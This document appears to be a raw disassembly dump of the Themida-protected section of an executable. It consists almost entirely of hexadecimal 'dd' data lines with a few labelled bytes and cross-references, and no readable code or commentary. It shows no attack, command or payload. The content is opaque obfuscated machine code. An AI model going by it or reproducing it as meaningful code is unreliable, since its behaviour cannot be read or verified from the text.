0C9B3C352h dd 0E4D2E5F8h, 0F45AFA4h, 7B9F2BFh, 81000000h, 18FD9DEEh dd 255DBF1Fh, 0C18370A3h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0DF09EA93h dd 0CE9h, 0FD57BA00h, 3A03C121h, 0AF61685Dh, 0FE9F8h, 29610000h dd 0E5EFF549h, 0A5B75FFFh, 988F15EFh, 0FD93B54h, 0E886h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 8639CC3h, 6AD98C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D11C353h dd 0AFEB768Eh, 0F04C1F6h, 7384h, 0A195FF00h, 0E9064806h dd 6, 13E7D8F0h, 8B66432Ah, 0BD8B5BF2h, 648227Dh, 6AC32Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 1FE852C3h, 0B44FF08Eh, 0E86BA8B6h, 6, 0AF8EE42Ch, 840FE50Fh dd 6, 0D3D8D89h, 3D5E0648h, 834h, 0E860Fh, 8B660000h, 2FE9F8h dd 0BD8B0000h, 6480485h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0A64747C3h, 9E634A77h dd 5EEF8166h, 8BC38BC8h, 68E0FD8h, 81000000h, 90DD25EFh dd 7185C74Eh, 5D064830h, 6A1CD8F9h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 3EA9C353h dd 8BFBBF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 1B760F3h, 0E5BD8161h, 0D0064805h dd 0F000007h, 3685h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 51AC7EDh, 93AC5D16h, 0C19D89EFh dd 0FF064818h, 4805E585h, 89BD8B06h, 0FF06482Bh, 4805E5B5h dd 95FFFC06h, 6483061h, 0F590F88Bh, 2059BD03h, 0B5010648h dd 6482EC9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0F6C35242h, 99AF88CFh, 14880Fh, 0E9560000h, 7 dd 17DBC794h, 5FF80F0Ch, 3294D681h, 0FA8B7F52h, 102D8529h dd 0BD8B0648h, 6480C49h, 24A59509h, 8B660648h, 858D01FBh dd 66064804h, 0E9DD88BEh, 6, 466A47CBh, 6A6919h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0A6FA1CC3h, 0FBB70F4Ch, 0ADB58BF9h, 6A064826h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0BBD6C351h, 0B2DABCB8h, 8A5F9C3Fh, 8E9h, 0D6F9D400h dd 1584AE97h, 55006AD6h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0BF2A7706h, 66F9BF0Fh, 6A5927BFh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 6911C357h, 0FFF831E9h, 6AC18BFFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 2AAFC350h, 6D763887h, 0AE8D592h, 0B9000000h, 49135C2Ch dd 307AF74Fh, 3195014Eh, 5E06480Fh, 4EBh, 0F38B0000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 12C35646h, 0F6EFF0EEh dd 38C5928h, 48321DB5h, 8B666006h, 158D8BF9h, 6106481Ah dd 32FD858Dh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 80F755C3h, 7BB00BE2h, 0E890B3E5h dd 10h, 5ED8012Eh, 0F65BF7E6h, 0F8546E8Ch, 8D1CEEC6h, 52EBBE66h dd 6660505Eh, 663ABFB9h, 9061DE8Bh, 18A5BD8Bh, 6A0648h dd 1D1DBD29h, 6A0648h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 94C35646h, 0CC0D2FD3h, 53F1CCD6h, 0DFDF8166h dd 11E9EDh, 77550000h, 0BF2DF4B3h, 8BD511BFh, 0EE6834E2h dd 8DC829CEh, 4C09A185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 22706DBCh, 8D09F4E5h dd 64815C5h, 8905C083h, 481A5D95h, 52505006h, 585A310Fh dd 89240489h, 482B11BDh, 6A006A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C245C352h dd 290282EAh, 482C1D9Dh, 66006A06h, 95FFF98Bh, 648277Dh dd 13E9F560h, 1E000000h, 8B7B2E25h, 4886E18h, 0AE2CC30Dh dd 497369D3h, 8D61E9EFh, 4B9C149Dh, 0D3FFF806h, 6800Fh dd 0BD8B0000h, 6480A39h, 0FE8h, 79E51900h, 0E01A88B4h dd 0B0F55082h, 3B38F2A5h, 14D1B58Bh, 0FF5E0648h, 480A2D85h dd 505CBF06h, 0F18B4F86h, 81EE9h, 0E800h, 815D0000h, 4C09ABEDh dd 7D958906h, 8106482Ch, 4805E5BDh, 7D006h, 84860F00h dd 89000001h, 4820158Dh, 0FD9D8B06h, 6A06481Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0C3CEC356h, 8B2814E7h, 4824A5BDh, 0E38106h, 66000001h dd 0B1C0ABFh, 0B5850FDBh, 81000000h, 45375ADFh, 0F7BD8375h dd 64C07h, 78840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0CC6942C3h, 0CE8h, 0CE681400h dd 2814E7C3h, 4E091B57h, 8E8A3h, 9B730000h, 0A5EF35ABh dd 5E531CD7h, 8B505F5Eh, 482B2DB5h, 85E95F06h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0D3A6C350h, 983BF21h, 5F940A66h, 0D29B50Bh dd 85C70648h, 64C07F7h, 1, 18AD8589h, 45E90648h, 0E9000000h dd 10h, 9CB0320h, 2C8C9C9Eh, 6CE7CB61h, 144535Ah, 7F785C7h dd 64Ch, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 227B17C3h, 9D096F0Eh, 6480D4Dh dd 1FFD9D8Dh, 13E90648h, 0A3000000h, 0CAC8B30Bh, 0AF2EF6Ch dd 2B5B7A78h, 391B67A7h, 9E8BF39h, 5B000000h, 6976CC2Dh dd 278C05F8h, 44311BBFh, 23815F6Dh, 0FFFFFEFFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C35646h, 0CEEF9810h dd 66F08B66h, 870FDB8Ch, 6, 246D9D01h, 0C3F60648h, 35840F04h dd 81000000h, 9A6891F7h, 0A195FF1Ah, 0F064806h, 5090F7BFh dd 60310F52h, 0DE95856h, 0EA000000h, 9ADE86C0h, 7D295D95h dd 0EBD95F81h, 50585A61h, 0BF90F28Bh, 4BBAED99h, 423E9h dd 0FA8B6000h, 0B061F9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0B8C35141h, 0AEE5BC59h, 0BD8BF76Ah, 6480579h dd 0A2BF70E6h, 0E44CF6DEh, 5B52971h, 8B06481Ch, 0D8B60FF9h dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0B58B6FD4h, 6480ADDh, 6AC38Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 40349AC3h, 8958671Eh, 480AA185h, 4E8C106h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 2BC3F21Eh dd 13135E8Fh, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0B0DEC356h, 0E3CDAA54h dd 9E956F9h, 70000000h, 55FBBA53h, 0A86EF82Ch, 0E9D82B5Eh dd 0Fh, 0C7587ADh, 629A0D65h, 69A6111Eh, 50AAD0C8h, 0BE957h dd 787D0000h, 80AB6807h, 589B2216h, 1C895E79h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0ECC100D5h, 0FFD51E7Eh, 4805E5B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0D1091416h, 0F15F632h, 95FFF9BFh, 6483061h, 259D9529h dd 0B00648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 76C35545h, 67E14E97h, 0BD89E7E5h, 6480D25h, 495B589h dd 70E60648h, 24A59589h, 71E40648h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 21C35646h, 25D20C6Ch, 0DCBF94AAh dd 0B503D681h, 0BF0F63C1h, 0F613CF8h, 23F83h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 4750A477h, 8B0FD9h, 0F000000h, 6AD8B6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0C57325C3h dd 0BAFB35EFh, 6, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 169B1099h dd 0FC62C9Bh, 38Fh, 0F88B6600h, 6AC38Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 19DF63C3h dd 60D95120h, 8589F08Bh, 6482F99h, 4E8C161h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 17C35040h, 0F76614C9h dd 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 67103562h, 1A81BD89h, 0BF660648h, 0D82BAA6Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EBC35040h dd 2D076329h, 0BD8963C0h, 64832C5h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0FD82BF7h dd 0FB88h, 9733BF00h, 7B93574h, 9000000h, 481B41B5h, 0F08B6606h dd 6A00C183h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0EB85C357h, 0B29D4C14h, 0DE838h dd 5D800000h, 0DE6774E6h, 0EFF48589h, 66D3472Ah, 5E85E3BFh dd 0B1B58952h, 5E064808h, 860FD93Bh, 9Ch, 1B75BD31h, 8C660648h dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 758E8A73h, 0C1B25C3Dh, 518D892Eh, 0F606480Ch dd 840F04C1h, 5Bh, 6A195FFh, 0BF660648h, 0CE9591Dh, 0C9000000h dd 93C9FC04h, 0E033791Ah, 5BB89965h, 2E69BD8Bh, 0C32B0648h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B6C35747h dd 0EDCC923Ah, 343D3071h, 0F000008h, 0A86h, 0AE900h, 81660000h dd 8BAD7DCFh, 0FFB70FC0h, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 85C35040h, 8A2FFA37h, 0B70FC722h dd 1CBF57FFh, 5F468128h, 1A9185C7h, 0C15D0648h, 6A70A5h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0E5821FC3h, 0FD5C9614h, 0A0D8589h, 0C08B0648h, 81F2BF0Fh dd 4805E5BDh, 7D006h, 21850F00h, 23000000h, 4808A1B5h dd 0E585FF06h, 0E9064805h, 10h, 0D86B2786h, 98E8F518h dd 7ACDCB57h, 3D99905Eh, 5E5B5FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0CEFC93C3h dd 6195FF6Fh, 90064830h, 11E8h, 0C5FCE00h, 9AF7EF57h, 8188C184h dd 76A44DBCh, 24BF8331h, 661FE70Ah, 0CDA0DE81h, 7EF6815Eh dd 90F8704h, 48303D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0D62118A4h, 0D8DA220Fh dd 5E8h, 30BF9800h, 0DCBED65Dh, 23794BBBh, 481489B5h, 13E95E06h dd 8B000000h, 49BB4DFDh, 0A74D1187h, 0B9430729h, 8AAA102h dd 0BD89E811h, 648186Dh, 2A39B50Bh, 8C0F0648h, 0Ch, 6810Fh dd 830F0000h, 0 dd 245D9501h, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 660DF9C3h, 0D59D89B6h, 66064800h dd 66EEDE81h, 0FFDBF66h, 283DB7BFh, 0F6816622h, 0BF0F1379h dd 89F98BF0h, 4831DD95h, 9E906h, 0D5560000h, 0A0ED952Ah dd 0E98665F7h, 12h, 6B57B86Ch, 81DEEF68h, 4BE5033Ah, 5661F1EAh dd 7E8B678h, 24000000h, 0E4B11E02h, 0E95FC7BDh, 0FFFFF805h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 39C35545h dd 0BD739D3Fh, 8B6F7F8Ch, 55006AC1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 97786D54h dd 9E8h, 310AC500h, 8A321DCFh, 0BD2B4FF7h, 6482EF5h, 4EB5Fh dd 8B000000h, 482DA1B5h, 0FD858D06h, 90064832h, 0BF665250h dd 310F1313h, 0E2BFBE66h, 5750585Ah, 0FB9B060h, 8Bh, 905F6100h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 32C35242h dd 210EFC53h, 25D20C6Ch, 8BFBBF0Fh, 481DFDBDh, 9006A06h dd 4819E9BDh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0FEF1C353h, 7A9D441Fh dd 0BE28E58Eh, 9D895660h, 648102Dh, 0E5B5895Fh, 61064829h dd 0B0C68166h, 614FBF97h, 858D1DA4h, 64C13C2h, 8B98589h dd 85890648h, 6480935h, 0F905C083h, 14E86090h, 0E6000000h dd 0DE1F3816h, 19EE0DF1h, 9F31BA41h, 0DE013CAEh, 50546BA3h dd 5A310F52h, 0F2BE5858h, 610D7FEFh, 14E850h, 0FCC70000h dd 7203B922h, 0FDA4C207h, 0B05527A0h, 9F121C45h, 8F0F7959h dd 2, 905F6160h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 94C35141h, 860D9980h, 60B1BAC1h, 1CC18166h, 0C28166B6h dd 8B61AA05h, 6A006AF0h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 3F3BC353h, 8AF35E6Fh dd 662E070Eh, 6A1E1CBFh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8589507Ah, 6482A05h, 15719D89h dd 95FF0648h, 648277Dh, 95B58B57h, 5F064815h, 9C149D8Dh dd 8B60064Bh, 4830A1BDh, 0D3BE6106h, 0FF3EE448h, 4DB589D3h dd 0FF06480Eh, 480A2D85h, 9D9D2906h, 9064822h, 48216D85h db 6 byte_57E131 db 0E9h, 0CFh, 8 ; DATA XREF: Themida_:0053D628o db 2 dup(0) word_57E136 dw 0E8h ; DATA XREF: Themida_:0053F774o dd 5D000000h, 13CCED81h, 10E8064Ch, 0FF000000h, 7D4C7475h dd 0E4FCB186h, 347D5A5Eh, 89FCC3DDh, 480D1585h, 0F575F06h dd 38Dh, 0FEB70F00h, 0E5BD815Fh, 0D0064805h, 0F000007h dd 18586h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 56DE6A8Fh, 9D8BBA4Fh, 64820FDh, 284DBD8Bh dd 0E3810648h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 4AC35646h, 4E443A78h, 0FDB0BFCh, 0C685h dd 4DBD3300h, 8306482Eh, 4C11FCBDh, 840F0006h, 55h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4BC35141h, 8D8940C9h dd 6480A81h, 3820Fh, 0B70F0000h, 0A9E9FAh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 899484C3h, 481A71BDh, 0FC85C706h, 1064C11h, 0E8000000h dd 0Ch, 7B132679h, 8680BB3Eh, 0BB92639Eh, 8A5BD31h, 0E95E0648h dd 5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh dd 0E0C35343h, 8730A947h, 0B83829DEh, 7D9D0993h, 89064819h dd 482F1D95h, 14E68106h, 0C77DAF17h, 4C11FC85h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8DFC1796h, 4820FD9Dh, 0A5BD8B06h, 81064824h, 0FFFEFF23h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 3F784544h, 5FF08B53h, 1F59BD09h, 8C660648h dd 0E78166DBh, 0B70FC45Ah, 4C3F6F7h, 83840Fh, 0F98B0000h dd 6A195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 48F8B6C3h, 0F28B3EC6h, 10E850h dd 0B18D0000h, 75F730B9h, 55EDC8FCh, 88082B2Eh, 5250786Eh dd 8F0Fh, 310F0000h, 9E9h, 3D24A00h, 562A1CBDh, 585A5733h dd 2404895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 6CC35747h, 5CB0D668h, 2D2C98B7h, 43FE987h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89A320C3h, 4821C185h, 6A00B006h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 237AC357h dd 480A51BDh, 2AFBBE06h, 70E63601h, 71E4FE8Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CEC35242h, 0FC7B39BDh dd 8529D496h, 6482ED5h, 0FD8B60Fh, 680h, 0B5958900h, 66064815h dd 0BAAA50BFh, 6, 3D958960h, 8006482Bh, 8B6107E5h, 6880FC3h dd 8B000000h, 480009B5h, 4E8C106h, 21B98D31h, 0F7660648h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 70D8532Eh, 8166CA67h, 2BB92AEEh, 0F08B93D8h dd 0EE950h, 33780000h, 6962E7B1h, 7F50AC2Ch, 0D2689803h dd 0ADBD8B93h, 0FF06480Fh, 4805E5B5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 6D311894h, 9FB9D6D3h, 95FFF88Bh, 6483061h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D9C35747h, 1C617763h dd 0B0F903AEh, 68A0F00h, 9000000h, 481CE9B5h, 0F3B70F06h dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 5048C2C3h, 9CB0BFBh, 48297DB5h, 6A71E406h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 3687C355h, 8B5360DAh, 48012995h, 14E95A06h dd 0B8000000h, 5132FAD0h, 4839585Bh, 37CF7F1h, 0E8327B87h dd 619978FFh, 830F613Ch, 269h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0A3C35343h, 2C2BE260h, 0F245FF6h dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 6F9DC3C3h, 6BAh, 8860F00h, 57000000h, 9BD8Bh dd 8B5F0648h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 857B9010h, 51B503DEh, 0C106482Ch dd 0BE6604E8h, 8166E182h, 6681E5C7h, 9E9E2F7h, 49000000h dd 0F505D3CAh, 878DE953h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 5BC79C3h, 0E1113358h dd 1860F40h, 0FC000000h, 8F0Fh, 66580000h, 0D82BF18Bh dd 18F880Fh, 8F0F0000h, 0 dd 7B9h, 0CE816600h, 0C1835ACCh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0CBECDCh, 0BF66F527h dd 0AE99A66h, 0EC000000h, 0C75F8F12h, 0CC59E83Ch, 0FD93BC2h dd 14086h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6446DF6Ah, 8B2BA31Eh, 481F15BDh dd 0D98C6606h, 23819589h, 0C1F60648h, 0E2840F04h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 5AF1C352h, 4BBF2CA6h, 0FF5EA32Dh, 4806A195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0B1B58990h, 0E806480Eh, 0Fh, 4515AD50h dd 286D446Fh, 3543A3F6h, 8BF9E0F7h, 482E2DBDh, 6A5B5F06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0F7AC356h, 0C8Fh, 68C0F00h, 8B000000h, 480D51BDh dd 8BC32B06h, 8343DF1h, 860F0000h, 3Dh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DAC35545h, 873DAE4Eh dd 0ADEE1945h, 6870Fh, 0B58B0000h, 6482DD9h, 2CE9h, 815E5000h dd 905A10E7h, 60C08B58h, 0DE9h, 99CF0D00h, 3692F422h, 603FA6FFh dd 16096EEh, 480FADB5h, 0C1858906h, 61064815h, 8BC38B61h dd 0EE8166D8h, 85C7B859h, 6481FFDh, 55A3EBDBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 82C35646h, 6AC08B25h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 81FFC351h, 4805E5BDh, 7D006h, 4A850F00h dd 0FF000000h, 4805E585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 62860C00h dd 2B02ABD2h, 0C7B8608Ch, 0E900D278h, 0Eh, 4F5F07B5h, 0F9D7782Dh dd 6929C187h, 89612079h, 482081B5h, 0E5B5FF06h, 0E9064805h dd 10h, 973AFD26h, 38C3B962h, 736A02h, 0D5A45A3Fh, 306195FFh dd 0BE80648h, 0DA000000h, 9D360034h, 1572D9E4h, 8D09B534h dd 6480471h, 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 5EE4FCC3h, 66347D5Ah, 0C2B5E681h dd 0BD8B5757h, 6480DFDh, 5E8h, 0C9A0FF00h, 5F5F6FDFh, 25B58B5Fh dd 8106481Ah, 0F5A94ECFh, 57006A32h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0E953F214h dd 6, 5461BF4Fh, 605E2615h, 0C3816660h, 8D8BE05Dh, 64809C9h dd 5DBD8961h, 66064806h, 3647DF81h, 9B50B61h, 8B06480Bh dd 4829B1BDh, 6AF806h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 1B1418C3h, 319529D4h, 8B06480Ah dd 481BE1BDh, 870F06h, 1000000h, 481C9D95h, 8B665106h dd 0E9F95FFBh, 5, 26883064h, 0AC48BFBCh, 0B58B4EACh, 6481E95h dd 9FDB58Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0BEF85CC3h, 0F06E7069h, 7D9D016Fh dd 89064821h, 482BA5BDh, 0F758E906h, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FD8631C3h dd 3B989DAh, 480D81B5h, 0FC18B06h, 87h, 4EB00h, 51000000h dd 1DB1BD33h, 0B5F0648h, 482369BDh, 0FD858D06h, 0E9064832h dd 0Ch, 0B032B335h, 53F4E938h, 4C933B7Eh, 50F88B90h, 90FB8B66h dd 31006AFCh, 480BA195h, 0E9006A06h, 13h, 5E50E546h, 558B766Eh dd 216F28FCh, 919FDA03h, 8DDD82E7h, 4C1D8485h, 0B7E68106h dd 836288C7h, 0BD8B05C0h, 6482E29h, 0DE950h, 0AFA0000h dd 0C12E0BF0h, 8E9AA192h, 89921CC5h, 0DE812404h, 10F7AA63h dd 0BF0F006Ah, 0FDCF81FEh, 6A6D622Ch, 0B59D8900h, 0FF064815h dd 48277D95h, 8D68106h, 0E92FC115h, 0Eh, 8E9BE8BEh, 84FE5434h dd 0E4793565h, 9D8D0AC5h, 64B9C14h, 10E8h, 3751D600h, 0E5533126h dd 0E24B7DDBh, 0B9AC8374h, 0F18B66A5h, 0FFD3FF5Fh, 480A2D85h dd 0EBE78106h, 0E966CE9Ah, 8BEh, 0E8h, 0ED815D00h, 64C1D8Eh dd 2B7DBD8Bh, 0BD810648h, 64805E5h, 7D0h, 151860Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0A39D2FC3h, 0E8B45870h, 0Dh, 0D9E24EC6h, 91E0A90h, 755AE68Bh dd 5EF08B61h, 0EE8h, 91CC7600h, 0DBC82AF6h, 5606D636h dd 0F5A9487h, 108Eh, 0BE900h, 5C9B0000h, 0CD8F7030h, 0B22BA876h dd 9D8B5FE6h, 6482E45h, 100E381h, 0BE660000h, 0DB0B3B0Eh dd 76850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 1073FAC3h, 8E2A84D5h, 0F1B70FD5h dd 1CA0BD83h, 0F00064Ch, 3384h, 72E900h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 3C6BEBC3h, 840FC0ACh, 2, 8D89F28Bh, 6480519h, 1CA085C7h dd 1064Ch, 0E9F50000h, 34h, 1CA085C7h, 64Ch, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 1AE8AC3h, 0DF29AF58h, 0BEDCC28Fh, 216ABA43h, 2E459D8Dh dd 12E90648h, 0D7000000h, 0C4F2D964h, 0AF493370h, 56720090h dd 0E4E18D4Bh, 0FF2381EDh, 0FFFFFFEh, 68Dh, 79BD8900h dd 66064832h, 860FDB8Ch, 18h, 128C0Fh, 0DE90000h, 72000000h dd 845523BEh, 1B585DAAh, 268C4EE8h, 0F04C3F6h, 6C84h, 31BD3300h dd 0FF064814h, 4806A195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 9B32F482h dd 0B9BD8B48h, 5006480Eh, 0BE605250h, 557B475h, 13E8h dd 0A18EFE00h, 8580D0BEh, 44A4EBB5h, 2C2CE980h, 0B41F2E01h dd 310F615Bh, 0F616060h, 8Eh, 585A6100h, 89240489h, 482939BDh dd 3FDE906h, 0BF0F0000h, 6A00B0F0h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 1131C351h dd 0E6186637h, 0E4F08B70h, 1840F71h, 0F5000000h, 6AD8B60Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 3A29C357h, 0F08B661Bh, 6BAh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0A7E88A7Dh, 33C7FC5Ah, 259D29F6h, 8B064805h, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0A7364A90h, 1C202EC8h, 0EE8h, 0DAC25500h, 7F571CF8h dd 5074B00h, 602D21B1h, 11E9h, 9F242500h, 8E81EA7Bh, 33417002h dd 58753B48h, 953389C3h, 6480EFDh, 0E8C15E61h, 0FB8B6604h dd 68F0F60h, 8B000000h, 4831DD95h, 0D1816606h, 66614FFBh dd 0D82BE2F7h, 6A935093h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 8049C350h, 0E9F38B04h dd 0Dh, 5D5B743Ah, 4FD093DFh, 4154294h, 0E5B5FF38h, 81064805h dd 4B760CF7h, 6195FF27h, 6A064830h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 1F23C351h dd 0A1B58B13h, 0B006481Ah, 28F0F00h, 8B000000h, 0F570E6FEh dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 613C32C3h, 265830Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 97AD6C3h dd 1EE65CFh, 6AD8B60Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0D561C351h, 7693E59Bh dd 0D7816626h, 6BA2053h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4882C357h dd 8981C390h, 48104D8Dh, 6AC38B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 454AC355h dd 4E8C1FCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 31C35242h, 3FA4349Eh, 0F985299Eh, 9064825h, 